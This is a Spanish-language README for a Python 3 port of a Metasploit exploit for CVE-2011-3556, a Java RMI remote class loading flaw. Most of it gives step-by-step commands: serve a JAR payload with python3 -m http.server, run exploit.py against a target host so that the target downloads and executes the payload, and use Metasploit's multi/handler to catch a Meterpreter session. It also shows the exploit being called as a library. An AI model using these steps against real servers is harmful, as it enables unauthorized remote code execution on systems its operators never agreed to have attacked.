
Implementación en Python 3 de una prueba de concepto (PoC) existente del CVE-2011-3556.
Esta herramienta es una implementación en Python 3 de una prueba de concepto (PoC) existente, creada por mihi para Metasploit Framework.
Para usar el módulo, simplemente sigue las instrucciones que se indican a continuación:
# Clone this repository locally.
$ git clone https://github.com/sk4la/cve_2011_3556.git && cd cve_2011_3556/
# Optionally set the `x` bit to be able to execute the script directly.
$ chmod u+x exploit.py
$ ./exploit.py --help && echo "It works!"
Para que el servidor Java RMI vulnerable lo cargue de forma remota, el payload (un binario JAR) debe servirse como recurso HTTP. Se puede servir rápidamente con el conocido python3 -m http.server.
Una vez que el payload esté disponible para su descarga, simplemente ejecuta el script exploit.py para desencadenar la vulnerabilidad.
$ python3 -m http.server --bind DELIVERY_HOST DELIVERY_PORT &
$ ./exploit.py -h VULNERABLE_HOST -u http://DELIVERY_HOST:DELIVERY_PORT/PAYLOAD.jar`
En caso de que el payload sea un Meterpreter (Metasploit Framework), no olvides usar
use exploit/multi/handler.
Este módulo también se puede usar como biblioteca importando el módulo cve_2011_3556 en tu espacio de nombres actual:
from cve_2011_3556 import JavaRMIExploit
JavaRMIExploit("127.0.0.1", "http://127.0.0.1/payload.jar").exploit()
¡Así de simple!
Agradecimientos especiales a mihi por la implementación inicial del módulo de Metasploit Framework.